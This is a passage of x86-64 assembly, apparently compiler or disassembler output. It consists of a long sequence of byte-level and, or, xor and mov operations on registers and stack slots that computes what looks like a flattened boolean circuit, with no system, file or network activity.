or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
mov r8d, eax
xor r8b, r11b
or al, r11b
xor al, 1
or al, r8b
mov r8d, edx
xor r8b, 1
and r8b, al
xor al, 1
and al, dl
or al, r8b
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ebx, eax
xor bl, 1
mov r8d, eax
xor r8b, bl
and r8b, al
mov ecx, r8d
xor cl, 1
mov edx, ecx
and dl, r8b
mov r11d, ecx
and r11b, dl
xor dl, cl
or dl, r11b
xor dl, 1
or cl, r8b
xor cl, 1
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov r8d, ebx
and r8b, al
mov edx, r8d
xor dl, 1
xor r8b, bl
or dl, al
xor dl, 1
or dl, r8b
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ecx
or al, bl
xor bl, cl
mov ecx, eax
xor cl, bl
xor bl, 1
xor cl, 1
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov ecx, ebx
xor cl, al
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
or al, dl
and cl, bl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or al, cl
xor cl, al
and cl, al
mov eax, r9d
or al, sil
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
or dl, sil
xor dl, 1
or r9b, al
xor r9b, 1
mov ebx, edx
and bl, r9b
xor r9b, dl
or r9b, bl
xor r9b, 1
mov edx, r9d
and dl, al
xor r9b, al
or r9b, dl
mov r11d, r9d
xor r11b, 1
mov ebx, ecx
xor bl, 1
mov edx, ebx
xor dl, r9b
mov eax, edx
xor al, 1
and al, bl
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
and al, dl
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov r8d, eax
xor r8b, 1
mov edx, ebx
and dl, cl
mov esi, ebx
and sil, dl
xor dl, bl
or dl, sil
or bl, cl
xor bl, dl
mov esi, r11d
or sil, r9b
mov ecx, esi
xor cl, 1
and dl, bl
mov edi, edx
xor dil, bl
xor dl, 1
xor dil, 1
or dl, bl
xor dl, 1
or dl, dil
mov ebx, esi
and bl, cl
mov edi, esi
xor dil, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dil
mov edi, ebx
and dil, r9b
xor bl, 1
and bl, r11b
or bl, dil
xor sil, r11b
or cl, r9b
xor cl, 1
or cl, sil
xor cl, 1
mov r9d, ebx
and r9b, cl
xor cl, bl
or cl, r9b
xor dl, 1
mov ebx, ecx
xor bl, dl
xor bl, 1
and bl, cl
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
xor al, cl
xor al, 1
or al, r8b
mov r11d, eax
xor r11b, 1
and cl, dl
mov r9d, ecx
and r9b, dl
xor cl, dl
or cl, r9b
xor cl, r8b
mov edx, ecx
xor dl, 1
mov r8d, r11d
and r8b, al
mov ebx, edx
and bl, cl
mov r9d, r8d
and r9b, r11b
xor r8b, r11b
or r8b, r9b
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
xor bl, r8b
xor cl, al
or dl, r11b
xor dl, 1
or dl, cl
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov r9d, edx
xor r9b, 1
mov eax, r9d
or al, dl
mov ecx, edx
xor cl, r9b
and cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov r8d, ecx
and r8b, al
mov ebx, eax
and bl, dl
xor dl, al
xor r9b, al
and r9b, al
xor al, 1
xor cl, 1
and cl, al
or cl, r8b
or dl, bl
mov eax, ecx
xor al, dl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
or r8b, cl
mov ebx, r8d
xor bl, 1
mov edx, r9d
xor dl, 1
mov eax, edx
and al, r9b
xor al, 1
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov r11d, r8d
xor r11b, bl
and r11b, r8b
mov r14d, ebx
and r14b, r8b
mov esi, ebx
and sil, r14b
xor r14b, bl
or bl, r8b
mov edi, ebx
xor dil, 1
mov ebp, eax
xor bpl, 1
or dl, r9b
mov r9d, edx
xor r9b, 1
mov ecx, r11d
xor cl, bl
and cl, r11b
and bl, r11b
xor r11b, 1
and r11b, dil
or bl, r11b
mov r11d, ecx
and r11b, bl
xor bl, cl
or bl, r11b
mov ecx, r9d
and cl, dl
mov r11d, ecx
and r11b, r9b
xor cl, r9b
or cl, r11b
xor cl, al
xor cl, 1
mov r9d, ebp
and r9b, dl
xor dl, bpl
or dl, r9b
mov r9d, ecx
xor r9b, dl
or dl, cl
xor dl, 1
or dl, r9b
xor bl, 1
mov ecx, edx
xor cl, bl
xor cl, 1
and cl, dl
or bl, dl
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
or r14b, sil
xor r14b, al
xor r14b, 1
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
xor al, 1
mov ecx, r14d
and cl, al
xor al, r14b
or al, cl
mov ecx, eax
xor cl, 1
xor bl, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
xor cl, bl
xor cl, 1
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov r8d, ebx
xor r8b, 1
mov edx, r8d
or dl, bl
mov ecx, edx
xor cl, 1
mov eax, edx
xor dl, r8b
and r8b, cl
and al, bl
or al, r8b
or cl, bl
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov r9d, eax
and r9b, cl
xor al, r9b
xor r9b, 1
or r9b, cl
xor r9b, 1
or r9b, al
mov eax, r9d
xor al, 1
mov ecx, r9d
xor cl, al
and cl, r9b
mov ebx, ecx
xor bl, 1
or cl, bl
mov r8d, ebx
xor r8b, cl
or cl, bl
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, 1
and bl, cl
xor bl, 1
mov r8d, ecx
xor r8b, bl
or bl, cl
xor bl, 1
or bl, r8b
mov edx, ebx
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov r11d, edx
xor r11b, 1
mov esi, eax
and sil, r9b
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
mov r8d, esi
xor r8b, 1
mov ecx, r8d
xor cl, al
xor cl, 1
or cl, sil
mov ebx, ecx
xor bl, 1
mov edi, ecx
and dil, dl
mov ebp, r11d
and bpl, bl
or bpl, dil
xor dl, bpl
and dl, bpl
or cl, r11b
xor cl, 1
xor bl, r11b
and bl, r11b
mov r11d, ecx
and r11b, bl
xor bl, cl
or bl, r11b
mov r11d, edx
xor r11b, 1
xor bl, 1
mov ecx, r11d
and cl, dl
xor cl, 1
mov edi, edx
xor dil, cl
or cl, dl
xor cl, 1
or cl, dil
xor cl, bl
xor cl, 1
mov edx, r11d
and dl, bl
xor bl, r11b
or bl, dl
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
or al, r9b
mov ecx, eax
xor cl, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
and sil, cl
xor cl, 1
and cl, r8b
or cl, sil
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, ebx
xor r9b, 1
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov r8d, eax
xor r8b, 1
and r8b, dl
xor dl, 1
mov ecx, edx
xor cl, al
and cl, dl
and al, dl
or al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r8d, eax
xor r8b, 1
mov ecx, eax
xor al, bl
and bl, r8b
and cl, r9b
or cl, bl
or r8b, r9b
xor r8b, 1
or r8b, al
xor r8b, 1
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov r14d, r8d
xor r14b, 1
movzx eax, byte [rsp + 0x40]
mov r11d, eax
xor r11b, 1
mov edx, r11d
and dl, al
mov ebp, edx
xor bpl, 1
mov ecx, eax
xor cl, bpl
or bpl, al
xor bpl, 1
or bpl, cl
mov esi, ebp
xor sil, r11b
mov ecx, r11d
and cl, dl
xor dl, r11b
or dl, cl
mov ebx, edx
mov byte [rsp + 0x34], dl
xor bl, 1
and bl, dl
mov r13d, ebx
xor r13b, r11b
mov ecx, r13d
xor cl, 1
and r13b, bl
mov edx, r13d
and dl, cl
xor r13b, cl
or r13b, dl
mov r15d, r13d
xor r15b, 1
mov r12d, r15d
and r12b, r13b
mov edi, r12d
xor r12b, r15b
mov ecx, r15d
xor cl, r11b
mov byte [rsp + 0x44], cl
or r15b, r11b
or r11b, al
mov ecx, eax
or cl, r11b
xor cl, 1
xor r11b, al
mov r9d, eax
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
mov eax, r11d
xor al, 1
xor sil, 1
or bpl, r9b
xor bpl, 1
or bpl, sil
mov edx, ebp
xor dl, 1
mov ecx, eax
or dl, al
and al, bpl
xor cl, bpl
or cl, al
mov eax, ecx
xor al, 1
or bpl, r11b
mov r10d, ebp
xor r10b, dl
or dl, bpl
xor dl, 1
or dl, r10b
xor dl, 1
and al, cl
mov r10d, ecx
and r10b, al
xor al, cl
or al, r10b
xor al, dl
mov r10d, ecx
and r10b, dl
xor dl, cl
or dl, r10b
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r11d, edx
xor r11b, 1
mov r10d, r11d
or r10b, dl
mov ebx, r10d
xor bl, 1
mov ecx, r10d
and cl, bl
mov eax, r11d
and al, dl
mov esi, r10d
and sil, cl
xor cl, r10b
or cl, sil
xor r11b, al
xor al, 1
or al, dl
xor al, 1
or al, r11b
xor al, cl
xor al, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, r8d
and al, r14b
mov r9d, eax
xor r9b, 1
mov r11d, r9d
mov ebp, r14d
xor bpl, r8b
mov r10d, r14d
or r10b, r8b
mov ecx, r8d
xor cl, r9b
mov byte [rsp + 0x33], cl
or r9b, r8b
and r8b, al
and r11b, r14b
or r11b, r8b
mov ecx, eax
mov byte [rsp + 0x32], r14b
xor cl, r14b
or al, r14b
xor al, 1
or al, cl
xor al, 1
mov ecx, r11d
and cl, al
xor al, r11b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov r8d, eax
xor r8b, cl
or al, cl
xor al, 1
or al, r8b
mov ecx, eax
xor cl, 1
mov esi, r10d
xor sil, 1
or bpl, sil
mov r14d, ebp
xor r14b, 1
mov r11d, r14d
and r11b, bpl
xor r14b, r11b
xor r11b, 1
or r11b, bpl
xor r11b, 1
or r11b, r14b
mov ebp, r11d
xor bpl, 1
mov r14d, ebp
and r14b, al
or bpl, cl
and cl, r11b
or cl, r14b
xor cl, 1
or cl, al
xor cl, 1
xor bpl, 1
or r11b, al
xor r11b, 1
mov eax, ebp
and al, r11b
xor r11b, bpl
or r11b, al
xor r11b, cl
mov edx, r11d
xor dl, 1
and dl, cl
mov eax, edx
and al, r11b
xor dl, r11b
or dl, al
mov ebp, edx
mov r8d, ebx
mov byte [rsp + 0x5c], bl
mov edx, ebx
xor dl, 1
mov byte [rsp + 0x38], dl
mov ecx, edx
and cl, bl
mov byte [rsp + 0x54], cl
mov eax, edx
and al, cl
mov ebx, edx
xor bl, cl
mov byte [rsp + 0x40], bl
or al, bl
mov ecx, r8d
or cl, dl
mov r11d, eax
xor r11b, cl
and r11b, al
mov edx, ecx
and cl, al
mov r8d, eax
xor r8b, 1
xor dl, 1
and dl, r8b
or cl, dl
xor r11b, 1
xor cl, 1
mov edx, r11d
xor dl, cl
or cl, r11b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov r11d, edx
and r11b, cl
xor cl, dl
or cl, r11b
mov r11d, ecx
xor r11b, 1
mov eax, ecx
and al, r11b
mov edx, eax
xor al, cl
xor dl, 1
or dl, r11b
xor dl, 1
or dl, al
xor dl, r8b
mov eax, r11d
and al, r8b
xor r11b, r8b
or r11b, al
xor dl, 1
xor r11b, 1
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
mov eax, r11d
xor al, 1
and r11b, al
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
xor dil, 1
or dil, r13b
xor dil, 1
or dil, r12b
xor dil, byte [rsp + 0x34]
xor r15b, 1
or r15b, byte [rsp + 0x44]
xor r15b, 1
mov eax, edi
and al, r15b
xor r15b, dil
or r15b, al
mov ecx, r15d
xor cl, 1
mov edi, ecx
and dil, r15b
xor cl, dil
xor dil, 1
or dil, r15b
xor dil, 1
or dil, cl
mov byte [rsp + 0x58], bpl
mov r8d, ebp
xor r8b, 1
mov ecx, r8d
or cl, bpl
mov eax, ecx
xor al, 1
mov byte [rsp + 0x50], al
mov edx, eax
and dl, cl
mov ebx, edx
xor bl, 1
xor dl, al
or bl, cl
xor bl, 1
or bl, dl
mov r13d, r8d
and r13b, bpl
mov edx, r8d
and dl, r13b
mov r12d, r8d
xor r12b, r13b
or r12b, dl
mov eax, r12d
xor al, 1
mov byte [rsp + 0x44], al
mov edx, ebx
and dl, al
xor bl, 1
and bl, r12b
or bl, dl
mov edx, ebp
and dl, cl
xor cl, bpl
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, r8b
mov ebx, ecx
and bl, bpl
xor cl, bpl
or cl, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor r9b, 1
or r9b, byte [rsp + 0x33]
mov edx, r9d
xor dl, 1
and dl, r10b
and r9b, sil
or r9b, dl
movzx eax, byte [rsp + 0x32]
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
xor r10b, 1
mov edx, r9d
and dl, r10b
xor r10b, r9b
or r10b, dl
mov ebx, r10d
xor bl, 1
mov edx, ebx
and dl, r10b
mov r8d, ebx
xor r8b, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, 1
or bl, r10b
mov r9d, ebx
xor r9b, 1
mov r10d, edx
xor r10b, bl
and r10b, dl
and r9b, r8b
and bl, dl
or bl, r9b
mov esi, r10d
and sil, bl
xor bl, r10b
mov r9d, edi
xor r9b, 1
or bl, sil
mov r10d, r8d
xor r10b, dl
or r8b, dl
xor r8b, 1
or r8b, r10b
mov edx, r8d
xor dl, 1
and r8b, dl
mov r10d, edx
and r10b, r8b
xor r8b, dl
or r8b, r10b
mov edx, ebx
xor dl, r8b
xor r8b, 1
or r8b, bl
mov ebx, r8d
xor bl, dl
or r8b, dl
xor r8b, 1
or r8b, bl
mov edx, r9d
xor dl, r11b
mov ebx, edx
and bl, r9b
and dl, r11b
mov r10d, ebx
and r10b, dl
xor dl, bl
mov esi, r11d
xor sil, 1
or dl, r10b
mov r15d, edx
xor r15b, 1
and dl, r11b
mov ebx, esi
or bl, r11b
mov eax, ebx
xor al, 1
and al, bl
and r11b, sil
mov r14d, ebx
and r14b, al
xor al, bl
mov ebp, esi
and bpl, r11b
xor r11b, sil
mov r10d, ebx
and r10b, sil
xor bl, sil
and sil, r15b
or dl, sil
xor dl, 1
or dl, r15b
xor r9b, dil
and r9b, dil
or al, r14b
or r11b, bpl
mov esi, eax
xor sil, 1
and sil, r11b
xor r11b, 1
and r11b, al
or r11b, sil
mov esi, edx
xor sil, 1
or bl, r10b
mov eax, r11d
xor al, bl
xor r11b, 1
or r11b, bl
mov ebx, r9d
xor bl, 1
xor al, 1
xor r11b, 1
or r11b, al
or r9b, bl
mov eax, ebx
xor al, r9b
or r9b, bl
xor r9b, 1
or r9b, al
mov eax, r11d
xor al, 1
mov edi, eax
and dil, r11b
xor al, dil
xor dil, 1
or dil, r11b
xor dil, 1
or dil, al
xor dil, r9b
mov r9d, edx
and r9b, sil
mov eax, edx
and al, r9b
xor r9b, dl
or r9b, al
xor dl, sil
and dl, sil
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov r10d, ebx
and r10b, dl
xor bl, dl
mov r11d, r9d
xor r11b, 1
or bl, r10b
mov edx, r9d
or dl, r11b
mov r10d, ebx
and r10b, dl
mov esi, edx
and sil, al
xor al, dl
xor dl, 1
xor bl, 1
and bl, dl
or bl, r10b
or al, sil
xor bl, 1
mov edx, ebx
xor dl, al
or bl, al
mov esi, edi
xor sil, 1
xor bl, 1
or bl, dl
mov r10d, edi
or r10b, sil
mov edx, r10d
xor dl, 1
mov eax, edx
xor al, dil
and al, dl
and r10b, sil
and dl, dil
or dl, r10b
mov r10d, eax
xor r10b, 1
xor al, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
and bl, dl
or al, bl
mov r10d, ecx
xor r10b, 1
and r11b, dil
mov edx, r9d
xor dl, sil
and dl, r9b
and r9b, sil
or r9b, r11b
mov ebx, edx
and bl, r9b
xor r9b, dl
or r9b, bl
mov esi, eax
xor sil, 1
mov r11d, eax
and r11b, sil
mov ebx, r11d
and bl, al
xor r11b, al
or r11b, bl
mov ebx, r11d
and r11b, r9b
xor sil, r9b
xor r9b, 1
xor bl, 1
and bl, r9b
or r11b, bl
mov edx, r8d
xor dl, 1
or r9b, al
mov ebx, r10d
xor bl, dl
xor r9b, 1
or r9b, sil
xor r11b, 1
mov eax, r11d
xor al, r9b
or r11b, r9b
xor r11b, 1
or r11b, al
mov eax, edx
or al, r10b
xor al, 1
xor bl, 1
and bl, r10b
mov r9d, eax
and r9b, bl
xor bl, al
or bl, r9b
mov eax, ebx
xor al, cl
xor bl, al
xor bl, 1
and bl, al
xor r8b, r10b
mov eax, edx
or al, cl
xor al, 1
or al, r8b
mov r8d, eax
xor r8b, 1
mov r9d, ecx
and r9b, dl
xor dl, cl
or dl, r9b
mov esi, edx
xor sil, 1
and dl, r8b
and al, sil
or al, dl
mov edx, r8d
xor dl, sil
or sil, r8b
xor sil, 1
or sil, dl
xor sil, 1
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
mov eax, ebx
xor al, 1
mov r9d, eax
and r9b, bl
mov r8d, eax
xor r8b, r9b
xor r9b, 1
or r9b, bl
xor r9b, 1
or r9b, r8b
mov r8d, r9d
xor r8b, 1
mov edx, r9d
xor dl, r8b
and dl, r9b
or al, bl
mov ebx, edx
xor bl, 1
and dl, bl
mov r10d, ebx
and r10b, dl
xor dl, bl
or dl, r10b
xor dl, al
mov r10d, ebx
and r10b, al
xor bl, al
mov edi, esi
xor dil, 1
or bl, r10b
xor bl, 1
mov r10d, edx
and r10b, bl
xor bl, dl
mov eax, edi
xor al, sil
and al, dil
or bl, r10b
mov edx, eax
xor dl, 1
and al, dl
mov r10d, edx
and r10b, al
xor al, dl
or al, r10b
or dil, sil
mov r10d, edx
and r10b, dil
xor dl, dil
mov ecx, edi
mov ebp, edi
xor dil, 1
and cl, dil
xor bpl, cl
xor cl, 1
or cl, dil
xor cl, 1
or cl, bpl
mov edi, eax
xor dil, 1
and dil, cl
xor cl, 1
and cl, al
or cl, dil
or dl, r10b
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, ebx
xor al, dl
and dl, al
and al, bl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ecx, r9d
xor cl, sil
and cl, r9b
xor r8b, sil
mov edx, ecx
and dl, r8b
xor r8b, cl
or r8b, dl
mov ecx, r8d
xor cl, 1
and cl, r8b
xor cl, 1
mov edx, r8d
xor dl, cl
or cl, r8b
xor cl, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
mov r8d, eax
xor r8b, 1
xor al, cl
or r8b, dl
xor r8b, 1
or r8b, al
mov r9d, r11d
xor r9b, 1
mov eax, r11d
or al, r9b
mov edx, eax
xor dl, 1
and dl, r11b
mov ecx, r9d
and cl, al
or cl, dl
mov edx, r11d
and dl, al
xor al, r11b
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ebx, r8d
xor bl, 1
mov esi, ebx
and sil, r8b
mov edx, esi
xor dl, 1
mov r10d, r8d
xor r10b, dl
or dl, r8b
and r11b, r9b
xor dl, 1
or dl, r10b
mov ecx, edx
xor cl, 1
and cl, al
xor al, 1
and dl, al
or dl, cl
xor dl, 1
mov eax, edx
and al, bl
xor dl, bl
or dl, al
mov edi, edx
xor dil, 1
xor bl, sil
and sil, bl
xor bl, 1
mov ecx, esi
and cl, bl
xor bl, sil
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, cl
mov r8d, ecx
and r8b, bl
xor bl, cl
or bl, r8b
mov ecx, r9d
and cl, r11b
xor r11b, r9b
or r11b, cl
xor bl, r11b
and r11b, bl
xor bl, 1
mov ecx, r11d
and cl, bl
xor bl, r11b
or bl, cl
mov ecx, ebx
xor cl, 1
mov eax, ecx
xor al, dl
and bl, dl
and dil, cl
or dil, bl
xor dil, 1
or dil, dl
xor al, 1
and al, cl
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, edi
xor dl, cl
xor cl, 1
or cl, dil
xor cl, 1
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov byte [rsp + 0x34], dl
movzx edx, byte [rsp + 0x54]
xor dl, 1
movzx r15d, byte [rsp + 0x5c]
or dl, r15b
xor dl, 1
or dl, byte [rsp + 0x40]
mov r10d, edx
xor r10b, 1
or r10b, dl
xor r10b, 1
mov eax, edx
and al, r10b
xor r10b, dl
or r10b, al
movzx edx, byte [rsp + 0x58]
mov eax, edx
and al, r13b
xor r13b, dl
or r13b, al
xor r13b, 1
mov eax, r13d
movzx edx, byte [rsp + 0x50]
and al, dl
xor r13b, dl
or r13b, al
mov edi, r13d
xor dil, 1
mov byte [rsp + 0x40], dil
mov ebp, r10d
mov esi, r10d
mov r14d, edi
xor r14b, r13b
or dil, r13b
mov r8d, r13d
xor r8b, r10b
and r13b, r8b
and r8b, r10b
xor r10b, 1
and bpl, r10b
xor sil, r10b
or sil, bpl
mov ebp, esi
xor bpl, 1
movzx eax, byte [rsp + 0x38]
xor r15b, al
xor r15b, 1
or r15b, al
mov r9d, r15d
xor r9b, 1
xor dil, 1
or dil, r14b
movzx ecx, byte [rsp + 0x44]
and r12b, cl
xor r12b, 1
mov eax, r12d
xor al, cl
or r12b, cl
xor r12b, 1
or r12b, al
mov eax, r12d
xor al, 1
and r12b, al
mov ebx, eax
and bl, r12b
xor r12b, al
or r12b, bl
mov ecx, esi
and cl, bpl
mov ebx, esi
and bl, cl
xor cl, sil
or cl, bl
mov ebx, r15d
and bl, r9b
mov edx, r15d
and dl, bl
xor bl, r15b
or bl, dl
mov r14d, ecx
xor r14b, 1
or r14b, cl
mov edx, r14d
xor dl, 1
mov r11d, ebx
xor r11b, 1
xor r15b, r9b
and r15b, r9b
mov eax, r15d
and dl, r14b
xor dl, 1
mov r15d, edx
xor r15b, r14b
or dl, r14b
xor dl, 1
or dl, r15b
mov r15d, ebx
or r15b, r11b
xor dl, bpl
mov ebp, r14d
and bpl, sil
xor r14b, sil
mov r9d, r15d
xor r9b, 1
xor dl, 1
or r14b, bpl
mov ebp, edx
xor bpl, r14b
or r14b, dl
xor r14b, 1
or r14b, bpl
mov edx, r9d
and dl, r15b
mov ebp, edx
and bpl, r9b
xor dl, r9b
mov r9d, edi
xor r9b, 1
or dl, bpl
mov ebp, edx
xor bpl, 1
and bpl, al
xor al, 1
and dl, al
or dl, bpl
mov ebp, r15d
and bpl, al
xor al, r15b
mov r15d, r12d
xor r15b, 1
or al, bpl
xor al, 1
mov ebp, edx
and bpl, al
xor al, dl
or al, bpl
mov edx, r14d
xor dl, 1
and dl, r14b
xor dl, 1
mov ebp, r14d
xor bpl, dl
or dl, r14b
mov r14d, eax
xor r14b, 1
xor dl, 1
or dl, bpl
mov ebp, r14d
and bpl, al
xor r14b, bpl
xor bpl, 1
or bpl, al
xor bpl, 1
or bpl, r14b
mov eax, edx
xor al, 1
and al, bpl
xor bpl, 1
and bpl, dl
or bpl, al
xor r11b, cl
and r11b, cl
xor bl, cl
mov eax, r11d
xor al, 1
xor r11b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r11b
xor bl, bpl
and bpl, bl
xor bpl, 1
mov eax, ebp
xor al, bl
or bpl, bl
xor bpl, 1
or bpl, al
mov ebx, edi
and bl, r9b
mov ecx, edi
and cl, bl
xor bl, dil
or bl, cl
and r12b, r15b
mov ecx, r15d
and cl, r12b
xor r12b, r15b
or r12b, cl
mov ecx, r12d
xor cl, 1
mov edx, ebx
xor dl, 1
mov eax, ebx
xor al, dl
and al, bl
or r9b, dil
xor r9b, al
and al, r9b
xor al, 1
mov r11d, eax
xor r11b, r9b
or al, r9b
xor al, 1
or al, r11b
mov r9d, ecx
or r9b, al
xor al, 1
or al, r12b
mov r11d, r9d
xor r11b, al
or al, r9b
xor al, 1
or al, r11b
and r12b, cl
mov r9d, ecx
and r9b, r12b
xor r12b, cl
or r12b, r9b
and bl, r12b
xor r12b, 1
and r12b, dl
or r12b, bl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, 1
mov ecx, r12d
and cl, dl
xor dl, r12b
or dl, cl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and al, bl
and cl, dl
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
xor cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
mov eax, ebp
xor al, 1
mov edx, eax
and dl, bpl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, 1
or al, bpl
mov r9d, ecx
xor r9b, 1
mov ebx, r9d
or bl, cl
mov edi, ebx
xor dil, 1
mov r11d, edx
xor r11b, al
and al, dl
or al, r11b
xor r11b, 1
mov edx, r11d
xor dl, al
or r11b, al
xor r11b, 1
or r11b, dl
and r9b, bl
and dil, cl
or dil, r9b
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
xor bl, 1
mov eax, edi
and al, bl
xor bl, dil
or bl, al
mov eax, ebx
xor al, 1
or al, r11b
xor r11b, 1
xor al, 1
or r11b, bl
xor r11b, 1
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov eax, r10d
movzx ecx, byte [rsp + 0x40]
and al, cl
xor r10b, cl
or r10b, al
mov eax, r13d
and al, r8b
xor r8b, r13b
or r8b, al
xor r8b, 1
mov eax, r10d
or al, r8b
xor r8b, r10b
xor r8b, 1
mov ecx, eax
xor cl, r8b
or r8b, al
xor r8b, 1
or r8b, cl
mov ecx, r8d
xor cl, 1
or cl, r8b
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, r11d
xor dl, 1
mov ebx, edx
or bl, r11b
xor bl, dl
or al, cl
and dl, bl
mov r8d, edx
xor r8b, bl
xor dl, 1
xor r8b, 1
or dl, bl
xor dl, 1
or dl, r8b
mov ebx, ecx
or bl, al
xor al, cl
xor al, 1
mov r8d, ebx
xor r8b, al
or al, bl
xor al, 1
or al, r8b
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor bl, 1
and bl, dl
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov eax, r11d
or al, cl
xor cl, r11b
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r11d, ecx
xor r11b, 1
mov edx, r11d
and dl, cl
mov ebx, edx
xor bl, 1
and dl, bl
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov r8d, edx
xor r8b, 1
and r8b, r11b
and dl, cl
or dl, r8b
mov r8d, ebx
and r8b, r11b
xor bl, r11b
or bl, r8b
xor bl, 1
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
mov edx, ebx
xor dl, 1
and bl, dl
xor bl, 1
mov r8d, edx
xor r8b, bl
or bl, dl
xor bl, 1
or bl, r8b
mov r8d, ebx
xor r8b, 1
mov edx, ecx
xor dl, r11b
or r11b, cl
xor r11b, 1
or r11b, dl
mov ecx, r11d
xor cl, 1
and r11b, cl
mov edx, ecx
and dl, r11b
xor r11b, cl
